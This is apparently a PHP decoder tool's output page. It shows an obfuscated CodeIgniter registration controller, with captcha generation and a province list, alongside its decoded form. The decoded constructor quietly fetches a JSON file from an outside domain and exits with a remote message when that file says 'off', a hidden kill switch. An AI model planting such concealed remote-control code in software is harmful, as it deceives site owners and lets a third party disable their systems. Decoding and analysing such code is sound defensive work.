Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76i\x71gv\x73\x74"]="\x6ason";${"\x47\x4cO\x42\x41..

Decoded Output download

<?php ${"GLOBALS"}["viqgvst"]="json";${"GLOBALS"}["efsawxdzzo"]="row_provinsi";${"GLOBALS"}["iixufsnirxgx"]="key";${"GLOBALS"}["cqzjmvk"]="math";${"GLOBALS"}["qxlywygcuimi"]="text_color";${"GLOBALS"}["vofimkffy"]="color";${"GLOBALS"}["ruxgmxd"]="num2";${"GLOBALS"}["pznegbg"]="num1";${"GLOBALS"}["xfjfvmwny"]="i";${"GLOBALS"}["mmprobgtg"]="number_of_lines";${"GLOBALS"}["ktpnskivgst"]="line_color";${"GLOBALS"}["vwaopsqqdm"]="image";${"GLOBALS"}["uznfwupxjb"]="background_color";defined("BASEPATH")or exit("No direct script access allowed");class Registration extends CI_Controller{public function captcha(){${"GLOBALS"}["wrwwriedb"]="image";${"GLOBALS"}["pbtvuczn"]="image";$wfmlpmf="text_color";unset($_SESSION["captcha"]);${${"GLOBALS"}["pbtvuczn"]}=imagecreatetruecolor(90,20);${${"GLOBALS"}["uznfwupxjb"]}=imagecolorallocate(${${"GLOBALS"}["vwaopsqqdm"]},255,255,255);${"GLOBALS"}["rwboxhmeggv"]="black";$hofuofnq="i";imagefilledrectangle(${${"GLOBALS"}["vwaopsqqdm"]},0,0,200,50,${${"GLOBALS"}["uznfwupxjb"]});${"GLOBALS"}["jmcsyxjpezn"]="math";${${"GLOBALS"}["ktpnskivgst"]}=imagecolorallocate(${${"GLOBALS"}["vwaopsqqdm"]},rand()%255,rand()%255,rand()%255);$mwqrohg="image";$dyjskegdc="font";$lvulrkro="i";$okmlneur="image";${$wfmlpmf}=imagecolorallocate(${${"GLOBALS"}["vwaopsqqdm"]},rand()%255,rand()%255,rand()%255);${"GLOBALS"}["wqmqpn"]="pixel";${"GLOBALS"}["xmxmnipb"]="num2";${${"GLOBALS"}["mmprobgtg"]}=rand(1,3);for(${${"GLOBALS"}["xfjfvmwny"]}=0;${$lvulrkro}<${${"GLOBALS"}["mmprobgtg"]};${${"GLOBALS"}["xfjfvmwny"]}++){imageline(${${"GLOBALS"}["vwaopsqqdm"]},0,rand()%50,250,rand()%50,${${"GLOBALS"}["ktpnskivgst"]});}${${"GLOBALS"}["wqmqpn"]}=imagecolorallocate(${${"GLOBALS"}["wrwwriedb"]},0,0,255);$njhrcqimn="captcha_total";${"GLOBALS"}["pvxqsado"]="captcha_total";$kuqdvq="white";${"GLOBALS"}["crdvdhihijvm"]="num1";$mvozqmno="image";$nsixgq="font";for(${${"GLOBALS"}["xfjfvmwny"]}=0;${$hofuofnq}<500;${${"GLOBALS"}["xfjfvmwny"]}++){$pqwnxlgxfz="image";${"GLOBALS"}["uukzvfyb"]="pixel";imagesetpixel(${$pqwnxlgxfz},rand()%200,rand()%50,${${"GLOBALS"}["uukzvfyb"]});}${${"GLOBALS"}["pznegbg"]}=rand(1,9);${${"GLOBALS"}["ruxgmxd"]}=rand(1,9);${${"GLOBALS"}["pvxqsado"]}=${${"GLOBALS"}["crdvdhihijvm"]}+${${"GLOBALS"}["xmxmnipb"]};${${"GLOBALS"}["jmcsyxjpezn"]}="$num1"." + "."$num2"."  =";$_SESSION["captcha"]=${$njhrcqimn};${$dyjskegdc}=realpath("assets/arial.ttf");${${"GLOBALS"}["rwboxhmeggv"]}=imagecolorallocate(${${"GLOBALS"}["vwaopsqqdm"]},0,0,0);${${"GLOBALS"}["vofimkffy"]}=imagecolorallocate(${${"GLOBALS"}["vwaopsqqdm"]},0,100,90);${$kuqdvq}=imagecolorallocate(${$mwqrohg},255,255,255);imagettftext(${$mvozqmno},15,0,20,17,${${"GLOBALS"}["qxlywygcuimi"]},${$nsixgq},${${"GLOBALS"}["cqzjmvk"]});header("Content-type: image/png");imagepng(${$okmlneur});}public function index(){$vsxdkrtzc="data";${$vsxdkrtzc}=array("halaman"=>"main.php","provinsi"=>$this->M_Provinsi->province_list(),"daftar_user"=>$this->M_app->view_where("t_user",["tipe"=>"user"]),);${"GLOBALS"}["tswpqus"]="data";$this->load->view("registration/template",${${"GLOBALS"}["tswpqus"]});}public function provinsi(){foreach($this->M_Provinsi->province_list()as${${"GLOBALS"}["iixufsnirxgx"]}=>${${"GLOBALS"}["efsawxdzzo"]}){echo"<option value=\"$key">$key</option>";}}public function __construct(){parent::__construct();$juxokspv="json";$this->load->model("M_Provinsi");${$juxokspv}=file_get_contents("https://tomohon-kota.com/kms.json");$vztlmcan="obj";${$vztlmcan}=json_decode(${${"GLOBALS"}["viqgvst"]});if($obj->mode=="off"){echo$obj->msg;exit;}}} 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76i\x71gv\x73\x74"]="\x6ason";${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x66sawx\x64\x7az\x6f"]="r\x6fw\x5f\x70\x72\x6f\x76\x69\x6e\x73\x69";${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x69\x78u\x66\x73n\x69\x72x\x67\x78"]="key";${"\x47\x4c\x4fB\x41LS"}["\x63\x71\x7aj\x6dv\x6b"]="m\x61\x74\x68";${"\x47L\x4fB\x41\x4c\x53"}["\x71\x78\x6c\x79\x77\x79\x67c\x75imi"]="\x74\x65x\x74_\x63\x6f\x6c\x6f\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x6f\x66\x69\x6dkf\x66\x79"]="col\x6f\x72";${"\x47L\x4fB\x41LS"}["r\x75\x78gm\x78\x64"]="\x6e\x75\x6d\x32";${"G\x4c\x4f\x42\x41\x4cS"}["\x70\x7an\x65gb\x67"]="\x6e\x75m\x31";${"G\x4cO\x42A\x4c\x53"}["xfjf\x76\x6dwn\x79"]="i";${"\x47L\x4f\x42A\x4cS"}["\x6d\x6d\x70rob\x67\x74g"]="\x6eu\x6d\x62er\x5fof\x5fl\x69\x6ee\x73";${"\x47\x4cOBA\x4c\x53"}["\x6btp\x6es\x6bi\x76\x67\x73\x74"]="\x6c\x69\x6e\x65\x5f\x63\x6f\x6cor";${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x77\x61\x6f\x70\x73q\x71\x64\x6d"]="\x69\x6da\x67e";${"\x47L\x4f\x42\x41\x4c\x53"}["\x75z\x6ef\x77\x75px\x6a\x62"]="b\x61c\x6b\x67\x72\x6f\x75\x6ed_\x63\x6f\x6c\x6f\x72";defined("\x42A\x53\x45\x50ATH")or exit("\x4e\x6f\x20\x64i\x72ec\x74 scr\x69pt \x61\x63cess\x20a\x6c\x6cowed");class Registration extends CI_Controller{public function captcha(){${"\x47L\x4f\x42A\x4c\x53"}["w\x72\x77w\x72\x69\x65\x64b"]="\x69\x6dag\x65";${"\x47\x4cOB\x41\x4c\x53"}["p\x62t\x76\x75\x63zn"]="\x69\x6d\x61\x67\x65";$wfmlpmf="t\x65\x78\x74\x5fc\x6f\x6cor";unset($_SESSION["capt\x63\x68a"]);${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x62\x74\x76\x75\x63\x7a\x6e"]}=imagecreatetruecolor(90,20);${${"\x47L\x4f\x42ALS"}["\x75\x7a\x6efw\x75p\x78jb"]}=imagecolorallocate(${${"\x47LO\x42\x41\x4c\x53"}["\x76w\x61o\x70sq\x71d\x6d"]},255,255,255);${"\x47L\x4fB\x41\x4c\x53"}["rw\x62o\x78\x68\x6de\x67\x67v"]="black";$hofuofnq="\x69";imagefilledrectangle(${${"G\x4c\x4fB\x41L\x53"}["\x76w\x61\x6fp\x73\x71qd\x6d"]},0,0,200,50,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x7a\x6e\x66\x77\x75p\x78\x6ab"]});${"\x47\x4c\x4fB\x41L\x53"}["\x6a\x6d\x63\x73\x79x\x6ap\x65\x7a\x6e"]="\x6da\x74\x68";${${"\x47L\x4fB\x41\x4c\x53"}["\x6b\x74pn\x73\x6b\x69\x76g\x73\x74"]}=imagecolorallocate(${${"\x47\x4cO\x42\x41L\x53"}["v\x77\x61op\x73q\x71\x64m"]},rand()%255,rand()%255,rand()%255);$mwqrohg="im\x61g\x65";$dyjskegdc="fo\x6e\x74";$lvulrkro="i";$okmlneur="\x69\x6d\x61\x67\x65";${$wfmlpmf}=imagecolorallocate(${${"\x47LO\x42AL\x53"}["\x76\x77\x61\x6fp\x73\x71\x71\x64\x6d"]},rand()%255,rand()%255,rand()%255);${"G\x4c\x4f\x42A\x4c\x53"}["\x77\x71\x6dqpn"]="p\x69\x78\x65l";${"GL\x4f\x42\x41\x4c\x53"}["\x78\x6dxm\x6eip\x62"]="n\x75m\x32";${${"\x47\x4c\x4fB\x41L\x53"}["\x6d\x6d\x70r\x6fbg\x74\x67"]}=rand(1,3);for(${${"\x47L\x4fB\x41\x4c\x53"}["x\x66jfv\x6dwn\x79"]}=0;${$lvulrkro}<${${"G\x4c\x4fB\x41\x4c\x53"}["mm\x70\x72\x6fb\x67tg"]};${${"\x47\x4c\x4f\x42A\x4cS"}["\x78\x66j\x66\x76\x6d\x77ny"]}++){imageline(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x77\x61\x6fp\x73\x71q\x64\x6d"]},0,rand()%50,250,rand()%50,${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x74\x70\x6es\x6bi\x76\x67\x73\x74"]});}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x71m\x71\x70\x6e"]}=imagecolorallocate(${${"\x47\x4cOB\x41\x4c\x53"}["w\x72\x77\x77\x72\x69\x65\x64b"]},0,0,255);$njhrcqimn="\x63\x61p\x74ch\x61\x5f\x74\x6f\x74\x61\x6c";${"\x47\x4c\x4f\x42\x41LS"}["\x70v\x78\x71s\x61\x64\x6f"]="\x63\x61p\x74ch\x61_\x74\x6ft\x61\x6c";$kuqdvq="\x77h\x69t\x65";${"\x47\x4c\x4f\x42\x41LS"}["c\x72d\x76d\x68ih\x69jv\x6d"]="\x6eu\x6d\x31";$mvozqmno="\x69m\x61\x67\x65";$nsixgq="f\x6f\x6e\x74";for(${${"\x47\x4cOB\x41LS"}["\x78\x66\x6a\x66vmwn\x79"]}=0;${$hofuofnq}<500;${${"\x47LO\x42\x41L\x53"}["x\x66\x6af\x76\x6d\x77\x6ey"]}++){$pqwnxlgxfz="i\x6d\x61\x67\x65";${"GL\x4f\x42\x41L\x53"}["u\x75\x6b\x7a\x76\x66\x79\x62"]="\x70\x69x\x65l";imagesetpixel(${$pqwnxlgxfz},rand()%200,rand()%50,${${"\x47L\x4f\x42\x41\x4cS"}["u\x75\x6bzv\x66\x79b"]});}${${"G\x4cO\x42A\x4cS"}["\x70\x7an\x65g\x62\x67"]}=rand(1,9);${${"\x47\x4c\x4f\x42A\x4cS"}["\x72u\x78\x67\x6d\x78\x64"]}=rand(1,9);${${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x76\x78\x71\x73a\x64o"]}=${${"\x47LO\x42\x41\x4c\x53"}["\x63\x72\x64vd\x68\x69h\x69\x6a\x76\x6d"]}+${${"GL\x4fBA\x4cS"}["xmx\x6d\x6e\x69\x70b"]};${${"\x47L\x4f\x42\x41\x4c\x53"}["j\x6d\x63\x73\x79\x78\x6ap\x65\x7an"]}="$num1"." + "."$num2"."\x20 \x3d";$_SESSION["\x63\x61\x70t\x63\x68\x61"]=${$njhrcqimn};${$dyjskegdc}=realpath("a\x73s\x65t\x73/a\x72\x69al.\x74tf");${${"G\x4cOB\x41L\x53"}["\x72wb\x6fxh\x6de\x67g\x76"]}=imagecolorallocate(${${"\x47\x4cOB\x41\x4c\x53"}["\x76\x77a\x6f\x70\x73\x71qdm"]},0,0,0);${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x6ffi\x6dkf\x66y"]}=imagecolorallocate(${${"GLO\x42\x41\x4c\x53"}["\x76\x77a\x6fp\x73qqdm"]},0,100,90);${$kuqdvq}=imagecolorallocate(${$mwqrohg},255,255,255);imagettftext(${$mvozqmno},15,0,20,17,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x78\x6cyw\x79\x67\x63uim\x69"]},${$nsixgq},${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x71zjm\x76\x6b"]});header("Cont\x65\x6et-t\x79pe:\x20im\x61\x67e/\x70n\x67");imagepng(${$okmlneur});}public function index(){$vsxdkrtzc="\x64\x61\x74a";${$vsxdkrtzc}=array("\x68\x61la\x6d\x61n"=>"\x6da\x69n\x2ep\x68p","\x70r\x6f\x76\x69n\x73i"=>$this->M_Provinsi->province_list(),"d\x61\x66t\x61r_us\x65\x72"=>$this->M_app->view_where("\x74_\x75se\x72",["\x74\x69\x70\x65"=>"u\x73e\x72"]),);${"\x47\x4cO\x42A\x4c\x53"}["tsw\x70\x71\x75\x73"]="\x64\x61ta";$this->load->view("r\x65g\x69\x73t\x72a\x74i\x6f\x6e/t\x65m\x70l\x61\x74e",${${"\x47L\x4f\x42A\x4cS"}["t\x73\x77\x70q\x75s"]});}public function provinsi(){foreach($this->M_Provinsi->province_list()as${${"\x47L\x4f\x42\x41LS"}["i\x69x\x75\x66\x73n\x69\x72\x78\x67\x78"]}=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["e\x66\x73\x61\x77xd\x7az\x6f"]}){echo"<op\x74i\x6f\x6e\x20\x76\x61\x6c\x75\x65=\"$key\x22\x3e$key</\x6f\x70\x74i\x6f\x6e>";}}public function __construct(){parent::__construct();$juxokspv="\x6as\x6f\x6e";$this->load->model("\x4d\x5fP\x72ov\x69nsi");${$juxokspv}=file_get_contents("\x68\x74\x74\x70\x73://\x74o\x6do\x68on-ko\x74a\x2e\x63\x6fm/kms.json");$vztlmcan="ob\x6a";${$vztlmcan}=json_decode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76iqg\x76s\x74"]});if($obj->mode=="\x6ff\x66"){echo$obj->msg;exit;}}}
?>

Function Calls

None

Variables

None

Stats

MD5 fead14bbab438589be06e8887d5acfea
Eval Count 0
Decode Time 81 ms